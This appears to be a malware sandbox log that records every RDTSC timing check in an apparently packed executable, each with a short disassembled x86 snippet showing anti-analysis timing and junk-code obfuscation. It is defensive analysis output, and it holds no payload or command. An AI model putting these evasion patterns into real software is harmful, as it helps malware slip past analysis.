Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83410 second address: A83418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83418 second address: A83423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FD84CFDF726h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83423 second address: A8344E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FD84C765E26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d je 00007FD84C765E18h 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84502 second address: A84514 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD84CFDF726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007FD84CFDF726h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A845C3 second address: A845D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FD84C765E16h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A845D4 second address: A8461B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF733h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD84CFDF728h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FD84CFDF737h 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 jnc 00007FD84CFDF726h 0x00000026 pop ecx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8461B second address: A84625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FD84C765E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84625 second address: A84684 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jmp 00007FD84CFDF72Eh 0x00000012 ja 00007FD84CFDF728h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop eax 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007FD84CFDF728h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 sbb esi, 050077ABh 0x0000003c call 00007FD84CFDF729h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84684 second address: A8468E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8468E second address: A84693 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84693 second address: A846E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b jnc 00007FD84C765E24h 0x00000011 pop esi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FD84C765E1Dh 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007FD84C765E23h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 pushad 0x00000027 pushad 0x00000028 push esi 0x00000029 pop esi 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84A91 second address: A84A97 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84A97 second address: A84AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FD84C765E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84BA0 second address: A84BA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A84D26 second address: A84D38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FD84C765E16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85368 second address: A85373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD84CFDF726h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85373 second address: A85379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85379 second address: A8537D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8537D second address: A85381 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A858EE second address: A8590C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD84CFDF730h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88242 second address: A8824C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8824C second address: A88266 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF72Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A88266 second address: A88270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FD84C765E16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89CEC second address: A89CF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A89CF0 second address: A89CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 je 00007FD84C765E16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A32E second address: A8A332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A332 second address: A8A338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B860 second address: A8B8D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF733h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D33D5h], ebx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007FD84CFDF728h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d stc 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007FD84CFDF728h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000016h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a stc 0x0000004b cmc 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f js 00007FD84CFDF72Ch 0x00000055 jnc 00007FD84CFDF726h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91DCC second address: A91DE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E25h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91EEB second address: A91EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93EA6 second address: A93EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93EAC second address: A93EB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD84CFDF726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A93EB6 second address: A93EBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A95CC3 second address: A95D2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007FD84CFDF731h 0x00000011 nop 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov edi, 68779AA4h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 sub dword ptr [ebp+122D1E40h], eax 0x0000002b mov eax, dword ptr [ebp+122D16A9h] 0x00000031 mov bx, EC07h 0x00000035 mov di, cx 0x00000038 push FFFFFFFFh 0x0000003a push eax 0x0000003b mov ebx, 0BA662DEh 0x00000040 pop ebx 0x00000041 and edi, dword ptr [ebp+122D2E2Ah] 0x00000047 nop 0x00000048 jmp 00007FD84CFDF72Eh 0x0000004d push eax 0x0000004e push ecx 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A96CE0 second address: A96D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+1246F1CBh], ecx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007FD84C765E18h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f ja 00007FD84C765E18h 0x00000035 pushad 0x00000036 add eax, 6478860Ah 0x0000003c sub cx, 09E5h 0x00000041 popad 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 sub dword ptr [ebp+12459F83h], ecx 0x0000004f mov eax, dword ptr [ebp+122D132Dh] 0x00000055 push 00000000h 0x00000057 push ebp 0x00000058 call 00007FD84C765E18h 0x0000005d pop ebp 0x0000005e mov dword ptr [esp+04h], ebp 0x00000062 add dword ptr [esp+04h], 00000018h 0x0000006a inc ebp 0x0000006b push ebp 0x0000006c ret 0x0000006d pop ebp 0x0000006e ret 0x0000006f mov dword ptr [ebp+124683D5h], ebx 0x00000075 push FFFFFFFFh 0x00000077 pushad 0x00000078 mov cl, dh 0x0000007a jo 00007FD84C765E1Ch 0x00000080 mov dword ptr [ebp+12442A29h], ebx 0x00000086 popad 0x00000087 push eax 0x00000088 pushad 0x00000089 push ecx 0x0000008a push eax 0x0000008b push edx 0x0000008c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97BC2 second address: A97BC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A97BC9 second address: A97BD3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD84C765E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99B80 second address: A99B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99B84 second address: A99B98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD84C765E1Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BC9A second address: A9BCA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BCA0 second address: A9BCB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E1Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99CD4 second address: A99CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99CD8 second address: A99CF8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD84C765E26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A99CF8 second address: A99CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9AD7F second address: A9ADBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E25h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007FD84C765E23h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD84C765E1Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CBD8 second address: A9CBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9ADBC second address: A9ADC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BE3B second address: A9BE46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FD84CFDF726h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DD73 second address: A9DD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DD77 second address: A9DD94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF739h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DD94 second address: A9DD9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9DD9A second address: A9DD9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF2F second address: A9BF35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CD55 second address: A9CDEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007FD84CFDF72Ch 0x0000000c jnc 00007FD84CFDF726h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007FD84CFDF728h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e push edi 0x0000002f jp 00007FD84CFDF735h 0x00000035 pop ebx 0x00000036 push dword ptr fs:[00000000h] 0x0000003d mov dword ptr [ebp+122D1D30h], edi 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a mov dword ptr [ebp+1244C41Bh], ebx 0x00000050 mov eax, dword ptr [ebp+122D047Dh] 0x00000056 movsx ebx, di 0x00000059 mov dword ptr [ebp+1244C602h], edi 0x0000005f push FFFFFFFFh 0x00000061 add bx, 3541h 0x00000066 nop 0x00000067 pushad 0x00000068 jl 00007FD84CFDF735h 0x0000006e push eax 0x0000006f push edx 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CDEB second address: A9CDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CDEF second address: A9CE03 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD84CFDF72Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9EDDF second address: A9EDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9EDE3 second address: A9EDE9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0DFB second address: AA0DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA0EDF second address: AA0EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84CFDF738h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7C88 second address: AA7C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FD84C765E16h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7C95 second address: AA7CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FD84CFDF726h 0x0000000a jmp 00007FD84CFDF737h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA7CB6 second address: AA7CBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE123 second address: AAE128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE128 second address: AAE15A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD84C765E27h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE15A second address: AAE15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE15F second address: AAE193 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84C765E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edx 0x0000000c jmp 00007FD84C765E26h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE325 second address: AAE363 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FD84CFDF72Ch 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 jmp 00007FD84CFDF732h 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FD84CFDF72Fh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAE363 second address: 8DEF15 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD84C765E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jnl 00007FD84C765E24h 0x00000015 pop eax 0x00000016 pushad 0x00000017 mov bx, ax 0x0000001a jmp 00007FD84C765E20h 0x0000001f popad 0x00000020 push dword ptr [ebp+122D144Dh] 0x00000026 cld 0x00000027 call dword ptr [ebp+122D1C85h] 0x0000002d pushad 0x0000002e jne 00007FD84C765E22h 0x00000034 xor eax, eax 0x00000036 sub dword ptr [ebp+122D1CB5h], edx 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 sub dword ptr [ebp+122D1CB5h], ebx 0x00000046 mov dword ptr [ebp+122D3046h], eax 0x0000004c stc 0x0000004d or dword ptr [ebp+122D1CB5h], ecx 0x00000053 mov esi, 0000003Ch 0x00000058 or dword ptr [ebp+122D1CB5h], esi 0x0000005e jmp 00007FD84C765E21h 0x00000063 add esi, dword ptr [esp+24h] 0x00000067 mov dword ptr [ebp+122D35B7h], edi 0x0000006d lodsw 0x0000006f jnp 00007FD84C765E1Ch 0x00000075 or dword ptr [ebp+122D1CB5h], ecx 0x0000007b add eax, dword ptr [esp+24h] 0x0000007f mov dword ptr [ebp+122D35B7h], esi 0x00000085 mov ebx, dword ptr [esp+24h] 0x00000089 jmp 00007FD84C765E25h 0x0000008e push eax 0x0000008f push ebx 0x00000090 push eax 0x00000091 push edx 0x00000092 pushad 0x00000093 popad 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF655 second address: AAF65C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF65C second address: AAF66D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD84C765E1Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB56A3 second address: AB56A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB56A9 second address: AB56BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jmp 00007FD84C765E1Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB56BC second address: AB56D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD84CFDF726h 0x00000009 jno 00007FD84CFDF726h 0x0000000f jns 00007FD84CFDF726h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 pop eax 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB56D8 second address: AB56DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB57F7 second address: AB57FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB57FB second address: AB5801 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5801 second address: AB582C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD84CFDF72Eh 0x0000000b pop esi 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD84CFDF733h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5C00 second address: AB5C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBAD8 second address: ABBAE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD84CFDF726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBAE2 second address: ABBAEC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD84C765E16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA736 second address: ABA751 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD84CFDF737h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABA751 second address: ABA75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
